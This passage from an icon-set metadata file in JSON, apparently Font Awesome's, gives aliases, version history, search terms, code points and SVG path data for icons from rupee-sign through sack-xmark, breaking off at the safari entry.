        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H208c26.5 0 48 21.5 48 48V96H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H208c26.5 0 48 21.5 48 48V96H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48z"
      }
    },
    "free": ["solid"]
  },
  "rupee-sign": {
    "aliases": {
      "names": ["rupee"],
      "unicodes": {
        "composite": ["20a8"],
        "secondary": ["10f156"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Rupee Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f156",
    "label": "Rupee Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256zm256.5 16.4c-.9 6 0 8.7 .4 9.8c.4 1.1 1.4 2.6 4.2 4.9c7.2 5.7 18.7 10 37.9 16.8l1.3 .5c16 5.6 38.7 13.6 55.7 28.1c9.5 8.1 17.9 18.6 23.1 32.3c5.1 13.7 6.1 28.5 3.8 44c-4.2 28.1-20.5 49.3-43.8 60.9c-22.1 11-48.1 12.5-73.2 8l-.2 0 0 0c-9.3-1.8-20.5-5.7-29.3-9c-6-2.3-12.6-4.9-17.7-6.9l0 0c-2.5-1-4.6-1.8-6.3-2.5c-16.5-6.4-24.6-25-18.2-41.4s24.9-24.6 41.4-18.2c2.6 1 5.2 2 7.9 3.1l0 0c4.8 1.9 9.8 3.9 15.4 6c8.8 3.3 15.3 5.4 18.7 6c15.7 2.8 26.7 .8 32.9-2.3c5-2.5 8-6 9.1-13c1-6.9 .2-10.5-.5-12.3c-.6-1.7-1.8-3.6-4.5-5.9c-6.9-5.8-18.2-10.4-36.9-17l-3-1.1c-15.5-5.4-37-13-53.3-25.9c-9.5-7.5-18.3-17.6-23.7-31c-5.5-13.4-6.6-28-4.4-43.2c8.4-57.1 67-78 116.9-68.9c6.9 1.3 27.3 5.8 35.4 8.4c16.9 5.2 26.3 23.2 21.1 40.1s-23.2 26.3-40.1 21.1c-4.7-1.4-22.3-5.5-27.9-6.5c-14.6-2.7-25.8-.4-32.6 3.2c-6.3 3.3-8.9 7.6-9.5 12z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256zm256.5 16.4c-.9 6 0 8.7 .4 9.8c.4 1.1 1.4 2.6 4.2 4.9c7.2 5.7 18.7 10 37.9 16.8l1.3 .5c16 5.6 38.7 13.6 55.7 28.1c9.5 8.1 17.9 18.6 23.1 32.3c5.1 13.7 6.1 28.5 3.8 44c-4.2 28.1-20.5 49.3-43.8 60.9c-22.1 11-48.1 12.5-73.2 8l-.2 0 0 0c-9.3-1.8-20.5-5.7-29.3-9c-6-2.3-12.6-4.9-17.7-6.9l0 0c-2.5-1-4.6-1.8-6.3-2.5c-16.5-6.4-24.6-25-18.2-41.4s24.9-24.6 41.4-18.2c2.6 1 5.2 2 7.9 3.1l0 0c4.8 1.9 9.8 3.9 15.4 6c8.8 3.3 15.3 5.4 18.7 6c15.7 2.8 26.7 .8 32.9-2.3c5-2.5 8-6 9.1-13c1-6.9 .2-10.5-.5-12.3c-.6-1.7-1.8-3.6-4.5-5.9c-6.9-5.8-18.2-10.4-36.9-17l-3-1.1c-15.5-5.4-37-13-53.3-25.9c-9.5-7.5-18.3-17.6-23.7-31c-5.5-13.4-6.6-28-4.4-43.2c8.4-57.1 67-78 116.9-68.9c6.9 1.3 27.3 5.8 35.4 8.4c16.9 5.2 26.3 23.2 21.1 40.1s-23.2 26.3-40.1 21.1c-4.7-1.4-22.3-5.5-27.9-6.5c-14.6-2.7-25.8-.4-32.6 3.2c-6.3 3.3-8.9 7.6-9.5 12z"
      }
    },
    "free": ["solid"]
  },
  "rupiah-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["currency"]
    },
    "styles": ["solid"],
    "unicode": "e23d",
    "label": "Rupiah Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256zm256-96h80c61.9 0 112 50.1 112 112s-50.1 112-112 112H352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352 192c0-17.7 14.3-32 32-32zm80 160c26.5 0 48-21.5 48-48s-21.5-48-48-48H352v96h48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256zm256-96h80c61.9 0 112 50.1 112 112s-50.1 112-112 112H352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352 192c0-17.7 14.3-32 32-32zm80 160c26.5 0 48-21.5 48-48s-21.5-48-48-48H352v96h48z"
      }
    },
    "free": ["solid"]
  },
  "rust": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07a",
    "label": "Rust",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z"
      }
    },
    "free": ["brands"]
  },
  "s": {
    "aliases": {
      "unicodes": {
        "composite": ["73"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter S", "Latin Small Letter S", "letter"]
    },
    "styles": ["solid"],
    "unicode": "53",
    "label": "S",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M99.1 105.4C79 114 68.2 127.2 65.2 144.8c-2.4 14.1-.7 23.2 2 29.4c2.8 6.3 7.9 12.4 16.7 18.6c19.2 13.4 48.3 22.1 84.9 32.5c1 .3 1.9 .6 2.9 .8c32.7 9.3 72 20.6 100.9 40.7c15.7 10.9 29.9 25.5 38.6 45.1c8.8 19.8 10.8 42 6.6 66.3c-7.3 42.5-35.3 71.7-71.8 87.3c-35.4 15.2-79.1 17.9-123.7 10.9l-.2 0 0 0c-24-3.9-62.7-17.1-87.6-25.6c-4.8-1.7-9.2-3.1-12.8-4.3C5.1 440.8-3.9 422.7 1.6 405.9s23.7-25.8 40.5-20.3c4.9 1.6 10.2 3.4 15.9 5.4c25.4 8.6 56.4 19.2 74.4 22.1c36.8 5.7 67.5 2.5 88.5-6.5c20.1-8.6 30.8-21.8 33.9-39.4c2.4-14.1 .7-23.2-2-29.4c-2.8-6.3-7.9-12.4-16.7-18.6c-19.2-13.4-48.3-22.1-84.9-32.5c-1-.3-1.9-.6-2.9-.8c-32.7-9.3-72-20.6-100.9-40.7c-15.7-10.9-29.9-25.5-38.6-45.1c-8.8-19.8-10.8-42-6.6-66.3l31.5 5.5L2.1 133.9C9.4 91.4 37.4 62.2 73.9 46.6c35.4-15.2 79.1-17.9 123.7-10.9c13 2 52.4 9.6 66.6 13.4c17.1 4.5 27.2 22.1 22.7 39.2s-22.1 27.2-39.2 22.7c-11.2-3-48.1-10.2-60.1-12l4.9-31.5-4.9 31.5c-36.9-5.8-67.5-2.5-88.6 6.5z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M99.1 105.4C79 114 68.2 127.2 65.2 144.8c-2.4 14.1-.7 23.2 2 29.4c2.8 6.3 7.9 12.4 16.7 18.6c19.2 13.4 48.3 22.1 84.9 32.5c1 .3 1.9 .6 2.9 .8c32.7 9.3 72 20.6 100.9 40.7c15.7 10.9 29.9 25.5 38.6 45.1c8.8 19.8 10.8 42 6.6 66.3c-7.3 42.5-35.3 71.7-71.8 87.3c-35.4 15.2-79.1 17.9-123.7 10.9l-.2 0 0 0c-24-3.9-62.7-17.1-87.6-25.6c-4.8-1.7-9.2-3.1-12.8-4.3C5.1 440.8-3.9 422.7 1.6 405.9s23.7-25.8 40.5-20.3c4.9 1.6 10.2 3.4 15.9 5.4c25.4 8.6 56.4 19.2 74.4 22.1c36.8 5.7 67.5 2.5 88.5-6.5c20.1-8.6 30.8-21.8 33.9-39.4c2.4-14.1 .7-23.2-2-29.4c-2.8-6.3-7.9-12.4-16.7-18.6c-19.2-13.4-48.3-22.1-84.9-32.5c-1-.3-1.9-.6-2.9-.8c-32.7-9.3-72-20.6-100.9-40.7c-15.7-10.9-29.9-25.5-38.6-45.1c-8.8-19.8-10.8-42-6.6-66.3l31.5 5.5L2.1 133.9C9.4 91.4 37.4 62.2 73.9 46.6c35.4-15.2 79.1-17.9 123.7-10.9c13 2 52.4 9.6 66.6 13.4c17.1 4.5 27.2 22.1 22.7 39.2s-22.1 27.2-39.2 22.7c-11.2-3-48.1-10.2-60.1-12l4.9-31.5-4.9 31.5c-36.9-5.8-67.5-2.5-88.6 6.5z"
      }
    },
    "free": ["solid"]
  },
  "sack-dollar": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4b0"],
        "secondary": ["10f81d"]
      }
    },
    "changes": [
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bag",
        "burlap",
        "cash",
        "dollar",
        "money",
        "money bag",
        "moneybag",
        "robber",
        "santa",
        "usd"
      ]
    },
    "styles": ["solid"],
    "unicode": "f81d",
    "label": "Sack Dollar",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320 96H192L144.6 24.9C137.5 14.2 145.1 0 157.9 0H354.1c12.8 0 20.4 14.2 13.3 24.9L320 96zM192 128H320c3.8 2.5 8.1 5.3 13 8.4C389.7 172.7 512 250.9 512 416c0 53-43 96-96 96H96c-53 0-96-43-96-96C0 250.9 122.3 172.7 179 136.4l0 0 0 0c4.8-3.1 9.2-5.9 13-8.4zm84 88c0-11-9-20-20-20s-20 9-20 20v14c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V424c0 11 9 20 20 20s20-9 20-20V410.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l0 0-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V216z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M320 96H192L144.6 24.9C137.5 14.2 145.1 0 157.9 0H354.1c12.8 0 20.4 14.2 13.3 24.9L320 96zM192 128H320c3.8 2.5 8.1 5.3 13 8.4C389.7 172.7 512 250.9 512 416c0 53-43 96-96 96H96c-53 0-96-43-96-96C0 250.9 122.3 172.7 179 136.4l0 0 0 0c4.8-3.1 9.2-5.9 13-8.4zm84 88c0-11-9-20-20-20s-20 9-20 20v14c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V424c0 11 9 20 20 20s20-9 20-20V410.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l0 0-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V216z"
      }
    },
    "free": ["solid"]
  },
  "sack-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bag", "burlap", "rations"]
    },
    "styles": ["solid"],
    "unicode": "e56a",
    "label": "Sack Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 96H320l47.4-71.1C374.5 14.2 366.9 0 354.1 0H157.9c-12.8 0-20.4 14.2-13.3 24.9L192 96zm128 32H192c-3.8 2.5-8.1 5.3-13 8.4l0 0 0 0C122.3 172.7 0 250.9 0 416c0 53 43 96 96 96H416c53 0 96-43 96-96c0-165.1-122.3-243.3-179-279.6c-4.8-3.1-9.2-5.9-13-8.4zM289.9 336l47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 96H320l47.4-71.1C374.5 14.2 366.9 0 354.1 0H157.9c-12.8 0-20.4 14.2-13.3 24.9L192 96zm128 32H192c-3.8 2.5-8.1 5.3-13 8.4l0 0 0 0C122.3 172.7 0 250.9 0 416c0 53 43 96 96 96H416c53 0 96-43 96-96c0-165.1-122.3-243.3-179-279.6c-4.8-3.1-9.2-5.9-13-8.4zM289.9 336l47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47z"
      }
    },
    "free": ["solid"]
  },
  "safari": {
    "changes": ["4.4.0", "5.0.0", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": ["browser"]
    },
    "styles": ["brands"],
    "unicode": "f267",
    "label": "Safari",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
